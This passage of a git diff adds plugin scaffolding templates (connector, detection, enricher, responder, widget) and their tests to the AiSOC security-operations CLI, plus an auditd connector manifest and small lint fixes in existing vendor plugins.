author)++[email protected]("scaffold")[email protected]("name")[email protected]("--output-dir", "-o", default=".", help="Directory to create plugin in")+ "--type",+ "plugin_type",+ default="enricher",+ type=click.Choice(list(PLUGIN_TYPES)),+ help="Plugin type",+)+ "--author",+ default=DEFAULT_AUTHOR,+ show_default=True,+ help="Author string written into plugin.yaml",+)+def plugin_scaffold(name: str, output_dir: str, plugin_type: str, author: str) -> None:+ """Alias for ``aisoc plugin new`` (kept for backwards compatibility)."""+ _scaffold_plugin(name, output_dir, plugin_type, author)@plugin.command("validate")@@ -227,7 +253,6 @@ def plugin_publish(path: str, api_url: str, api_key: str, private_key: str) -> N"""Sign and publish a plugin to the AiSOC community marketplace."""import ioimport tarfile- import tempfileplugin_dir = Path(path)manifest_file = plugin_dir / "plugin.yaml"diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/connector/README.md.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/connector/README.md.tmplnew file mode 100644index 000000000..142cd93ed--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/connector/README.md.tmpl@@ -0,0 +1,37 @@+# $name++AiSOC **connector** plugin generated by `aisoc plugin new`.++## Where this lives++Connectors are run by `services/connectors`. To wire this up locally, drop the+class into `services/connectors/app/connectors/$slug.py` and add it to the+`_CONNECTOR_CLASSES` registry in `services/connectors/app/connectors/__init__.py`+(see `AGENTS.md` → "Connector platform conventions").++## Severity ladder++The AiSOC severity ladder is exactly four tiers:++```+info | low | medium | high+```++Every vendor-native ladder must collapse into this set inside `normalize()`.+Fill out the `SEVERITY_MAP` dict in `connector.py`.++## Develop++```bash+aisoc plugin validate plugin.yaml+pytest -v # add tests under tests/test_${slug}_connector.py+```++## Publish++```bash+aisoc plugin publish .+```++See [apps/docs/docs/connectors](https://github.com/beenuar/AiSOC/tree/main/apps/docs/docs/connectors)+for the per-connector setup walkthrough format.diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/connector/connector.py.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/connector/connector.py.tmplnew file mode 100644index 000000000..730c4e562--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/connector/connector.py.tmpl@@ -0,0 +1,106 @@+"""+$name — AiSOC connector plugin.++Connectors are owned by ``services/connectors``. They subclass ``BaseConnector``+and implement three async methods:++- ``test_connection()`` — quick health check used by the UI "Test" button.+- ``fetch_alerts()`` — pull a batch of upstream records on each poll tick.+- ``normalize()`` — map vendor records onto the AiSOC OCSF-aligned schema.++The in-process ``ConnectorScheduler`` will instantiate this class once per+enabled tenant instance and call ``fetch_alerts`` on the configured cadence.+"""+from __future__ import annotations++from typing import Any++import httpx++# When this plugin lives inside the AiSOC monorepo, prefer the real base class:+# from services.connectors.app.connectors.base import BaseConnector, ConnectorSchema+# The shim below lets the scaffold lint cleanly outside the monorepo.+try: # pragma: no cover+ from services.connectors.app.connectors.base import BaseConnector, ConnectorSchema+except Exception: # pragma: no cover+ BaseConnector = object # type: ignore[misc,assignment]+ ConnectorSchema = dict # type: ignore[misc,assignment]+++SEVERITY_MAP: dict[str, str] = {+ # Map vendor-native severities onto AiSOC's four-tier ladder.+ # info | low | medium | high+}+++class Connector(BaseConnector): # type: ignore[misc]+ """$name connector."""++ connector_id = "$slug"++ @classmethod+ def schema(cls) -> ConnectorSchema: # type: ignore[override]+ # Mirrors plugin.yaml.config_schema. Kept as a classmethod so the API+ # service can describe this connector without instantiating it.+ return ConnectorSchema( # type: ignore[call-arg]+ name="$slug",+ label="$name",+ description="$name connector",+ category="siem", # edr | siem | cloud | iam | saas | vcs | network+ fields=[],+ oauth=None,+ default_poll_interval_seconds=300,+ )++ def __init__(self, instance_id: str, tenant_id: str, config: dict[str, Any]) -> None:+ super().__init__(instance_id=instance_id, tenant_id=tenant_id, config=config)+ self.base_url: str = config["base_url"].rstrip("/")+ self.api_key: str | None = config.get("api_key")+ self.verify_tls: bool = bool(config.get("verify_tls", True))+ self.page_size: int = int(config.get("page_size", 100))++ def _client(self) -> httpx.AsyncClient:+ headers = {"Accept": "application/json"}+ if self.api_key:+ headers["Authorization"] = f"Bearer {self.api_key}"+ return httpx.AsyncClient(+ base_url=self.base_url,+ headers=headers,+ verify=self.verify_tls,+ timeout=httpx.Timeout(15.0, connect=5.0),+ )++ async def test_connection(self) -> dict[str, Any]:+ """Quick reachability + auth check."""+ async with self._client() as client:+ resp = await client.get("/health")+ resp.raise_for_status()+ return {"ok": True, "status": resp.status_code}++ async def fetch_alerts(self, since_iso: str | None = None) -> list[dict[str, Any]]:+ """Pull a batch of vendor records.++ The scheduler hands us the high-watermark from the last successful tick+ as ``since_iso``. Use it to ask the upstream for "everything newer than".+ """+ params: dict[str, Any] = {"limit": self.page_size}+ if since_iso:+ params["since"] = since_iso++ async with self._client() as client:+ resp = await client.get("/alerts", params=params)+ resp.raise_for_status()+ data = resp.json()+ return list(data.get("results", []))++ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:+ """Map a vendor record onto the AiSOC OCSF-aligned event shape."""+ return {+ "source": "$slug",+ "vendor_id": str(raw.get("id", "")),+ "timestamp": raw.get("timestamp"),+ "title": raw.get("title", ""),+ "description": raw.get("description", ""),+ "severity": SEVERITY_MAP.get(str(raw.get("severity", "")).lower(), "info"),+ "raw": raw,+ }diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/connector/plugin.yaml.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/connector/plugin.yaml.tmplnew file mode 100644index 000000000..b9acebac8--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/connector/plugin.yaml.tmpl@@ -0,0 +1,42 @@+id: $slug+name: $name+version: 0.1.0+plugin_type: connector+tier: community+description: >+ $name pulls alerts/events from an upstream source and normalizes them+ onto the AiSOC OCSF-aligned schema with the four-tier severity ladder+ (info | low | medium | high).+author: "$author"+tags: [connector]+license: MIT+min_aisoc_version: "4.0.0"+runtime: python+entry_point: connector.py+config_schema:+ type: object+ required: [base_url]+ properties:+ base_url:+ type: string+ description: "Upstream API base URL, e.g. https://api.example.com"+ api_key:+ type: string+ description: "API key / bearer token. Stored encrypted in the credential vault."+ secret: true+ poll_interval_seconds:+ type: integer+ description: "How often the in-process scheduler should poll. Default 300s."+ default: 300+ minimum: 30+ maximum: 3600+ verify_tls:+ type: boolean+ description: "Verify TLS certs on the upstream. Disable only for dev."+ default: true+ page_size:+ type: integer+ description: "Records per upstream API page."+ default: 100+ minimum: 1+ maximum: 10000diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/detection/README.md.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/detection/README.md.tmplnew file mode 100644index 000000000..6cb92f253--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/detection/README.md.tmpl@@ -0,0 +1,30 @@+# $name++AiSOC **detection** plugin generated by `aisoc plugin new`.++## Layout++```+$slug/+├── plugin.yaml+├── README.md+└── rules/+ └── example.yaml # add one YAML file per rule+```++Detection rules use the AiSOC schema (severity ladder is exactly+`info | low | medium | high`). See `detections/` in the AiSOC monorepo for+working examples across endpoint, network, cloud, identity, and application.++## Develop++```bash+aisoc plugin validate plugin.yaml+aisoc detection validate rules/example.yaml+```++## Publish++```bash+aisoc plugin publish .+```diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/detection/plugin.yaml.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/detection/plugin.yaml.tmplnew file mode 100644index 000000000..cbac10ac3--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/detection/plugin.yaml.tmpl@@ -0,0 +1,17 @@+id: $slug+name: $name+version: 0.1.0+plugin_type: detection+tier: community+description: >+ $name ships one or more AiSOC detection rules. Each rule lives in+ ``rules/*.yaml`` and is validated by ``aisoc detection validate``.+author: "$author"+tags: [detection]+license: MIT+min_aisoc_version: "4.0.0"+runtime: python+entry_point: rules/+config_schema:+ type: object+ properties: {}diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/detection/rules/example.yaml.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/detection/rules/example.yaml.tmplnew file mode 100644index 000000000..dd2aeb9e5--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/detection/rules/example.yaml.tmpl@@ -0,0 +1,28 @@+id: det-$slug-001+name: Example detection from $name+description: >+ Replace this with a one-paragraph description of what this rule fires on,+ why it matters, and which adversary behaviour it covers.+version: 1.0.0+severity: medium # info | low | medium | high+tags:+ - mitre.attack.t0000+ - tlp.white+category: endpoint # endpoint | network | cloud | identity | application+log_source:+ product: example+ service: example+detection:+ condition: |+ # TODO: replace with a real boolean expression over normalized event fields.+ event.action == "example_action"+ AND event.outcome == "success"+false_positives:+ - List the realistic noise sources here so analysts know how to tune.+playbook: tpl-investigation+enabled: true+author: "$author"+references:+ - https://attack.mitre.org/+created: '2026-01-01'+modified: '2026-01-01'diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/enricher/README.md.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/enricher/README.md.tmplnew file mode 100644index 000000000..bf7e65308--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/enricher/README.md.tmpl@@ -0,0 +1,29 @@+# $name++AiSOC **enricher** plugin generated by `aisoc plugin new`.++Enrichers add context to in-flight events. They are called by the orchestrator+once per matching event and must:++- Be fast (sub-second). Set `timeout_seconds` low.+- Be side-effect-free.+- Never raise on a miss — return `{}` instead.++## Develop++```bash+# Validate the manifest+aisoc plugin validate plugin.yaml++# Run unit tests once you add them+pytest -v+```++## Publish++```bash+aisoc plugin publish .+```++See the [AiSOC plugin docs](https://github.com/beenuar/AiSOC/tree/main/apps/docs/docs/plugins)+for the full lifecycle.diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/enricher/plugin.py.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/enricher/plugin.py.tmplnew file mode 100644index 000000000..15fe3c787--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/enricher/plugin.py.tmpl@@ -0,0 +1,42 @@+"""+$name — AiSOC enricher plugin.++Enrichers receive a normalized event payload and return a small dict of+additional context to merge back into the event. They run on the hot path+inside the orchestrator graph, so keep them fast and side-effect-free.+"""+from __future__ import annotations++from typing import Any+++class Plugin:+ """Main plugin class — AiSOC instantiates this once per tenant per worker+ and calls ``run()`` once per matching event.+ """++ def __init__(self, config: dict[str, Any]) -> None:+ self.config = config+ self.api_key: str | None = config.get("api_key")+ self.timeout_seconds: int = int(config.get("timeout_seconds", 5))++ async def run(+ self,+ payload: dict[str, Any],+ context: dict[str, Any],+ ) -> dict[str, Any]:+ """Enrich the alert/event payload.++ Args:+ payload: Normalized event in OCSF-aligned shape.+ context: Runtime context — ``tenant_id``, ``trace_id``, etc.++ Returns:+ Dict to merge into ``payload["enrichments"]["$slug"]``. Return an+ empty dict if you have nothing to add — never raise on misses.+ """+ # TODO: replace with your enrichment lookup.+ return {+ "enriched_by": "$slug",+ "data": {},+ }diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/enricher/plugin.yaml.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/enricher/plugin.yaml.tmplnew file mode 100644index 000000000..fdfc5e935--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/enricher/plugin.yaml.tmpl@@ -0,0 +1,29 @@+id: $slug+name: $name+version: 0.1.0+plugin_type: enricher+tier: community+description: >+ $name enriches alerts and events with additional context — IoC reputation,+ asset metadata, user attributes, geolocation, etc. AiSOC calls run() once+ per matching event in the orchestrator pipeline.+author: "$author"+tags: [enricher]+license: MIT+min_aisoc_version: "4.0.0"+runtime: python+entry_point: plugin.py+config_schema:+ type: object+ required: []+ properties:+ api_key:+ type: string+ description: "API key for the upstream enrichment service."+ secret: true+ timeout_seconds:+ type: integer+ description: "Per-request timeout. Keep low — enrichers run on the hot path."+ default: 5+ minimum: 1+ maximum: 30diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/responder/README.md.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/responder/README.md.tmplnew file mode 100644index 000000000..e9c04bb68--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/responder/README.md.tmpl@@ -0,0 +1,25 @@+# $name++AiSOC **responder** plugin generated by `aisoc plugin new`.++## Contract++- `supported_actions` — list of verbs your responder understands.+- `execute(action, params, context)` — returns+ `{"status": "ok" | "skipped" | "error", "detail": ..., "artifact": ...}`.++Always honour `dry_run=true` and return `status="skipped"`. The investigation+timeline relies on this to render an honest record of what was actually done.++## Develop++```bash+aisoc plugin validate plugin.yaml+pytest -v+```++## Publish++```bash+aisoc plugin publish .+```diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/responder/plugin.py.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/responder/plugin.py.tmplnew file mode 100644index 000000000..006f268e4--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/responder/plugin.py.tmpl@@ -0,0 +1,66 @@+"""+$name — AiSOC responder plugin.++Responders execute containment / remediation actions. A playbook step calls+``Plugin.execute(action, params, context)`` and expects a structured result+back so the timeline can render what happened.+"""+from __future__ import annotations++from typing import Any+++class Plugin:+ """Main plugin class. AiSOC instantiates one per tenant per worker."""++ def __init__(self, config: dict[str, Any]) -> None:+ self.config = config+ self.api_key: str | None = config.get("api_key")+ self.dry_run: bool = bool(config.get("dry_run", False))+ self.timeout_seconds: int = int(config.get("timeout_seconds", 15))++ @property+ def supported_actions(self) -> list[str]:+ """Action names this responder knows how to run."""+ # TODO: list the verbs your responder supports, e.g. ["disable_user",+ # "isolate_host", "block_ip"]. The orchestrator validates against this.+ return []++ async def execute(+ self,+ action: str,+ params: dict[str, Any],+ context: dict[str, Any],+ ) -> dict[str, Any]:+ """Run a single action.++ Args:+ action: Verb chosen by the playbook (one of ``supported_actions``).+ params: Action-specific arguments (target user, host, IP, etc.).+ context: Runtime context — ``tenant_id``, ``trace_id``, ``case_id``.++ Returns:+ ``{"status": "ok" | "skipped" | "error", "detail": ..., "artifact": ...}``++ ``status="skipped"`` should be used in dry-run mode so the timeline+ stays honest about what really happened.+ """+ if action not in self.supported_actions:+ return {+ "status": "error",+ "detail": f"Unsupported action: {action}",+ }++ if self.dry_run:+ return {+ "status": "skipped",+ "detail": "dry_run=true",+ "artifact": {"action": action, "params": params},+ }++ # TODO: implement the real call to the upstream control plane.+ return {+ "status": "ok",+ "detail": f"$slug executed {action}",+ "artifact": {"action": action, "params": params},+ }diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/responder/plugin.yaml.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/responder/plugin.yaml.tmplnew file mode 100644index 000000000..508155bea--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/responder/plugin.yaml.tmpl@@ -0,0 +1,32 @@+id: $slug+name: $name+version: 0.1.0+plugin_type: responder+tier: community+description: >+ $name takes a containment / remediation action when fired by a playbook.+ Examples: disable a user, isolate an endpoint, block an IP at the edge.+author: "$author"+tags: [responder]+license: MIT+min_aisoc_version: "4.0.0"+runtime: python+entry_point: plugin.py+config_schema:+ type: object+ required: []+ properties:+ api_key:+ type: string+ description: "API token used to call the upstream control plane."+ secret: true+ dry_run:+ type: boolean+ description: "If true, log the intended action without executing it."+ default: false+ timeout_seconds:+ type: integer+ description: "Per-action timeout."+ default: 15+ minimum: 1+ maximum: 120diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/widget/README.md.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/widget/README.md.tmplnew file mode 100644index 000000000..cfdae555e--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/widget/README.md.tmpl@@ -0,0 +1,40 @@+# $name++AiSOC **widget** plugin generated by `aisoc plugin new`.++## Contract++`Widget.fetch_data(context)` returns a dict shaped like:++```json+{+ "type": "kpi",+ "title": "string",+ "data": { "value": 0, "label": "events" },+ "refresh_interval_seconds": 60+}+```++`type` is one of:++| type | `data` shape | renders as |+| ------------ | --------------------------------------------- | ----------------------- |+| `kpi` | `{"value": number, "label": str}` | big-number card |+| `timeseries` | `[{"t": iso8601, "v": number}, ...]` | line chart |+| `table` | `{"columns": [str], "rows": [[Any]]}` | dense table |+| `list` | `[{"primary": str, "secondary": str}, ...]` | top-N list |++Keep `fetch_data()` fast — widgets are polled on every dashboard tick.++## Develop++```bash+aisoc plugin validate plugin.yaml+pytest -v+```++## Publish++```bash+aisoc plugin publish .+```diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/widget/plugin.yaml.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/widget/plugin.yaml.tmplnew file mode 100644index 000000000..c8746d92f--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/widget/plugin.yaml.tmpl@@ -0,0 +1,29 @@+id: $slug+name: $name+version: 0.1.0+plugin_type: widget+tier: community+description: >+ $name is a custom dashboard widget for AiSOC. The widget is rendered inside+ the saved-views / dashboard surface and receives a small query API plus the+ current tenant's theme tokens.+author: "$author"+tags: [widget]+license: MIT+min_aisoc_version: "4.0.0"+runtime: python+entry_point: widget.py+config_schema:+ type: object+ required: []+ properties:+ title:+ type: string+ description: "Display title shown in the widget header."+ default: "$name"+ refresh_interval_seconds:+ type: integer+ description: "How often the dashboard should re-fetch the widget's data."+ default: 60+ minimum: 5+ maximum: 3600diff --git a/packages/aisoc-cli/src/aisoc_cli/templates/widget/widget.py.tmpl b/packages/aisoc-cli/src/aisoc_cli/templates/widget/widget.py.tmplnew file mode 100644index 000000000..e92cafb12--- /dev/null+++ b/packages/aisoc-cli/src/aisoc_cli/templates/widget/widget.py.tmpl@@ -0,0 +1,50 @@+"""+$name — AiSOC dashboard widget plugin.++Widgets are rendered inside the AiSOC dashboard / saved-views surface. The+backend ``Widget.fetch_data()`` call returns a small typed payload that the+frontend renderer turns into a card, chart, or table.+"""+from __future__ import annotations++from typing import Any+++class Widget:+ """Main widget class — AiSOC instantiates one per dashboard placement."""++ widget_id = "$slug"++ def __init__(self, config: dict[str, Any]) -> None:+ self.config = config+ self.title: str = str(config.get("title", "$name"))+ self.refresh_interval_seconds: int = int(+ config.get("refresh_interval_seconds", 60)+ )++ async def fetch_data(self, context: dict[str, Any]) -> dict[str, Any]:+ """Return the data payload the dashboard should render.++ Args:+ context: Runtime context — ``tenant_id``, ``user_id``, ``time_range``.++ Returns:+ A dict with the shape::++ {+ "type": "kpi" | "timeseries" | "table" | "list",+ "title": str,+ "data": Any, # type-specific payload+ "refresh_interval_seconds": int,+ }++ ``data`` is widget-type-specific. KPI widgets return a single number,+ timeseries return ``[{"t": iso8601, "v": number}, ...]``, etc.+ """+ # TODO: query the AiSOC API or directly run the widget's data source.+ return {+ "type": "kpi",+ "title": self.title,+ "data": {"value": 0, "label": "events"},+ "refresh_interval_seconds": self.refresh_interval_seconds,+ }diff --git a/packages/aisoc-cli/tests/test_cli.py b/packages/aisoc-cli/tests/test_cli.pyindex ced3573bd..147892e5e 100644--- a/packages/aisoc-cli/tests/test_cli.py+++ b/packages/aisoc-cli/tests/test_cli.py@@ -19,6 +19,72 @@ def test_plugin_scaffold(runner, tmp_path):assert (plugin_dir / "plugin.py").exists()manifest = yaml.safe_load((plugin_dir / "plugin.yaml").read_text())assert manifest["id"] == "test-enricher"+ assert manifest["plugin_type"] == "enricher"+++def test_plugin_new_alias(runner, tmp_path):+ """``plugin new`` is the canonical name; ``plugin scaffold`` is the alias."""+ result = runner.invoke(cli, ["plugin", "new", "another-enricher", "--output-dir", str(tmp_path)])+ assert result.exit_code == 0, result.output+ assert (tmp_path / "another-enricher" / "plugin.yaml").exists()+++ "plugin_type,expected_files",+ [+ ("enricher", ["plugin.yaml", "plugin.py", "README.md"]),+ ("connector", ["plugin.yaml", "connector.py", "README.md"]),+ ("responder", ["plugin.yaml", "plugin.py", "README.md"]),+ ("detection", ["plugin.yaml", "rules/example.yaml", "README.md"]),+ ("widget", ["plugin.yaml", "widget.py", "README.md"]),+ ],+)+def test_plugin_new_per_type(runner, tmp_path, plugin_type, expected_files):+ """Every plugin type renders its full template tree with substitutions."""+ name = f"My {plugin_type.title()}"+ result = runner.invoke(+ cli,+ [+ "plugin",+ "new",+ name,+ "--type",+ plugin_type,+ "--output-dir",+ str(tmp_path),+ "--author",+ "Tester <[email protected]>",+ ],+ )+ assert result.exit_code == 0, result.output++ slug = f"my-{plugin_type}"+ plugin_dir = tmp_path / slug+ for rel in expected_files:+ assert (plugin_dir / rel).exists(), f"{plugin_type} is missing {rel}"++ manifest = yaml.safe_load((plugin_dir / "plugin.yaml").read_text())+ assert manifest["id"] == slug+ assert manifest["name"] == name+ assert manifest["plugin_type"] == plugin_type+ assert manifest["author"] == "Tester <[email protected]>"++ # No leftover $slug / $name placeholders should remain anywhere.+ for path in plugin_dir.rglob("*"):+ if path.is_file():+ text = path.read_text()+ assert "$slug" not in text, f"$slug not substituted in {path}"+ assert "$name" not in text, f"$name not substituted in {path}"+ assert "$author" not in text, f"$author not substituted in {path}"+++def test_plugin_new_existing_dir_fails(runner, tmp_path):+ (tmp_path / "dup").mkdir()+ result = runner.invoke(+ cli, ["plugin", "new", "dup", "--output-dir", str(tmp_path)]+ )+ assert result.exit_code != 0+ assert "already exists" in result.outputdef test_plugin_validate_valid(runner, tmp_path):diff --git a/plugins/auditd/plugin.yaml b/plugins/auditd/plugin.yamlnew file mode 100644index 000000000..b3a01a77a--- /dev/null+++ b/plugins/auditd/plugin.yaml@@ -0,0 +1,53 @@+id: auditd+name: Linux Auditd+version: 1.0.0+category: edr+vendor: Linux Audit Subsystem+publisher: AiSOC Community+description: >+ Linux ``auditd`` connector — file_tail mode, no host-agent dependency.+ Tails ``/var/log/audit/audit.log`` forward from a saved byte cursor,+ reassembles multi-record auditd events (SYSCALL + EXECVE + PATH ++ CWD + PROCTITLE) into flat normalised documents, and feeds the+ same ``syscall`` / ``exe`` / ``argv`` / ``path`` / ``actor_uid`` /+ ``auditd_key`` primitives that detection content under+ ``detections/endpoint/linux-*.yaml`` pivots on. Ship the AiSOC+ ``audit.rules`` profile (``profiles/auditd/aisoc.rules``) for+ full coverage; rules with ``aisoc_*`` keys auto-bucket into+ AiSOC's four-tier severity ladder.+homepage: https://github.com/linux-audit/audit-userspace+docs_url: /docs/connectors/auditd+license: MIT+capabilities:+ - pull_audit+ - pull_alerts+config_schema:+ - name: host_label+ label: Host label+ type: string+ required: true+ help_text: >+ Human-readable label for the host being monitored (for example+ ``web-prod-01.eu-west-1``). Stamped on every normalised event so+ detections and investigations can filter to a single fleet+ member without relying on the kernel's reported hostname.+ - name: audit_log_path+ label: Audit log path+ type: string+ required: true+ default: /var/log/audit/audit.log+ help_text: >+ Absolute path to ``audit.log`` inside the AiSOC connector pod.+ Mount the host's ``/var/log/audit`` directory read-only into+ the pod, or run the connector on the same host as the auditd+ daemon. The connector needs read access to this path.+ - name: cursor_path+ label: Cursor file path+ type: string+ required: false+ help_text: >+ Optional override for where AiSOC stores its byte-position+ cursor. Defaults to ``<audit_log_path>.aisoc-cursor``. Use a+ writeable path — the connector pod needs to update this on+ every successful poll. Surviving the cursor across restarts+ is what gives the connector exactly-once-ish semantics.diff --git a/plugins/cloudflare-waf/plugin.py b/plugins/cloudflare-waf/plugin.pyindex 8c3b173d3..6404c8a92 100644--- a/plugins/cloudflare-waf/plugin.py+++ b/plugins/cloudflare-waf/plugin.py@@ -39,7 +39,7 @@ _API_BASE = "https://api.cloudflare.com/client/v4"class Plugin:"""Cloudflare WAF action plugin."""- def _client(self, context: dict[str, Any]) -> "httpx.AsyncClient":+ def _client(self, context: dict[str, Any]) -> httpx.AsyncClient:config = context.get("config") or {}if "api_token" not in config:raise ValueError("api_token is required in plugin config")diff --git a/plugins/datadog-incidents/plugin.py b/plugins/datadog-incidents/plugin.pyindex c9d8f1679..87507db2d 100644--- a/plugins/datadog-incidents/plugin.py+++ b/plugins/datadog-incidents/plugin.py@@ -1,7 +1,7 @@"""Datadog incidents/signals connector plugin for AiSOC."""from __future__ import annotations-from datetime import datetime, timedelta, timezone+from datetime import UTC, datetime, timedeltafrom typing import Anyimport httpx@@ -53,7 +53,7 @@ class Plugin:if action == "list_signals":since = payload.get("since") or (- datetime.now(timezone.utc) - timedelta(hours=1)+ datetime.now(UTC) - timedelta(hours=1)).isoformat()params = {"filter[from]": since,@@ -78,7 +78,7 @@ class Plugin:events.append(item)if "security_signals" in feeds:since = payload.get("since") or (- datetime.now(timezone.utc) - timedelta(hours=1)+ datetime.now(UTC) - timedelta(hours=1)).isoformat()sigs = await self._get(f"{base}/api/v2/security_monitoring/signals",diff --git a/plugins/github-audit/plugin.py b/plugins/github-audit/plugin.pyindex 7895d3085..64d99a150 100644--- a/plugins/github-audit/plugin.py+++ b/plugins/github-audit/plugin.py@@ -32,7 +32,7 @@ except ImportError:class Plugin:"""GitHub Audit Log connector plugin."""- def _client(self, context: dict[str, Any]) -> "httpx.AsyncClient":+ def _client(self, context: dict[str, Any]) -> httpx.AsyncClient:config = context.get("config") or {}if "org" not in config or "token" not in config:raise ValueError("org and token are required in plugin config")diff --git a/plugins/gitlab-audit/plugin.py b/plugins/gitlab-audit/plugin.pyindex 5633a7e43..377d7d076 100644--- a/plugins/gitlab-audit/plugin.py+++ b/plugins/gitlab-audit/plugin.py@@ -1,7 +1,7 @@"""GitLab audit connector plugin for AiSOC."""from __future__ import annotations-from datetime import datetime, timedelta, timezone+from datetime import UTC, datetime, timedeltafrom typing import Anyimport httpx@@ -47,7 +47,7 @@ class Plugin:base = self._base(context)action = payload.get("action", "fetch_events")since = payload.get("since") or (- datetime.now(timezone.utc) - timedelta(minutes=15)+ datetime.now(UTC) - timedelta(minutes=15)).isoformat()try:diff --git a/plugins/jamf-mdm/plugin.py b/plugins/jamf-mdm/plugin.pyindex 3e3577ddd..e02e76e3c 100644--- a/plugins/jamf-mdm/plugin.py+++ b/plugins/jamf-mdm/plugin.py@@ -36,7 +36,7 @@ _TOKEN_CACHE: dict[str, dict[str, Any]] = {}class Plugin:"""Jamf Pro MDM connector plugin."""- async def _token(self, client: "httpx.AsyncClient", config: dict[str, Any]) -> str:+ async def _token(self, client: httpx.AsyncClient, config: dict[str, Any]) -> str:cache_key = f"{config['jamf_url']}::{config['client_id']}"cached = _TOKEN_CACHE.get(cache_key)if cached and cached["expires_at"] > time.time() + 30:@@ -60,7 +60,7 @@ class Plugin:}return str(token)- async def _client(self, context: dict[str, Any]) -> "httpx.AsyncClient":+ async def _client(self, context: dict[str, Any]) -> httpx.AsyncClient:config = context.get("config") or {}if not all(k in config for k in ("jamf_url", "client_id", "client_secret")):raise ValueError("jamf_url, client_id, and client_secret are required")@@ -105,7 +105,7 @@ class Plugin:if action == "wipe_device":device_id = payload.get("device_id", "")resp = await client.post(- f"/api/v1/mobile-device-commands",+ "/api/v1/mobile-device-commands",json={"commandData": {"commandType": "ERASE_DEVICE"},"clientData": [{"managementId": device_id}],diff --git a/plugins/mttr-widget/plugin.py b/plugins/mttr-widget/plugin.pyindex ef9479978..f36ece801 100644--- a/plugins/mttr-widget/plugin.py+++ b/plugins/mttr-widget/plugin.py@@ -35,7 +35,7 @@ from __future__ import annotationsimport osimport statistics-from datetime import datetime, timezone, timedelta+from datetime import UTC, datetime, timedeltafrom typing import Anytry:@@ -75,7 +75,7 @@ class Plugin:headers["X-API-Key"] = api_key# Query closed cases in the lookback window- since = (datetime.now(timezone.utc) - timedelta(days=lookback)).isoformat()+ since = (datetime.now(UTC) - timedelta(days=lookback)).isoformat()params: dict[str, Any] = {"status": "closed", "created_after": since, "limit": 1000}if severity_filter:params["severity"] = ",".join(severity_filter)diff --git a/plugins/okta-connector/plugin.py b/plugins/okta-connector/plugin.pyindex b2eddc16f..aeb04418a 100644--- a/plugins/okta-connector/plugin.py+++ b/plugins/okta-connector/plugin.py@@ -45,7 +45,7 @@ class Plugin:# ── Lifecycle ────────────────────────────────────────────────────────────- def _client(self, context: dict) -> "httpx.AsyncClient":+ def _client(self, context: dict) -> httpx.AsyncClient:cfg = context.get("config", {})domain = cfg.get("okta_domain") or os.getenv("OKTA_DOMAIN", "")token = cfg.get("api_token") or os.getenv("OKTA_API_TOKEN", "")@@ -89,7 +89,7 @@ class Plugin:# ── Actions ───────────────────────────────────────────────────────────────- async def _get_user(self, client: "httpx.AsyncClient", user_id: str) -> dict:+ async def _get_user(self, client: httpx.AsyncClient, user_id: str) -> dict:r = await client.get(f"/users/{user_id}")r.raise_for_status()user = r.json()@@ -102,28 +102,28 @@ class Plugin:"raw": user,}- async def _list_sessions(self, client: "httpx.AsyncClient", user_id: str) -> dict:+ async def _list_sessions(self, client: httpx.AsyncClient, user_id: str) -> dict:r = await client.get(f"/users/{user_id}/sessions")r.raise_for_status()sessions = r.json()return {"session_count": len(sessions), "sessions": sessions}- async def _suspend_user(self, client: "httpx.AsyncClient", user_id: str) -> dict:+ async def _suspend_user(self, client: httpx.AsyncClient, user_id: str) -> dict:r = await client.post(f"/users/{user_id}/lifecycle/suspend")r.raise_for_status()return {"action": "suspend_user", "user_id": user_id, "status": "suspended"}- async def _unsuspend_user(self, client: "httpx.AsyncClient", user_id: str) -> dict:+ async def _unsuspend_user(self, client: httpx.AsyncClient, user_id: str) -> dict:r = await client.post(f"/users/{user_id}/lifecycle/unsuspend")r.raise_for_status()return {"action": "unsuspend_user", "user_id": user_id, "status": "active"}- async def _clear_sessions(self, client: "httpx.AsyncClient", user_id: str) -> dict:+ async def _clear_sessions(self, client: httpx.AsyncClient, user_id: str) -> dict:r = await client.delete(f"/users/{user_id}/sessions")r.raise_for_status()return {"action": "clear_user_sessions", "user_id": user_id, "sessions_cleared": True}- async def _clear_mfa(self, client: 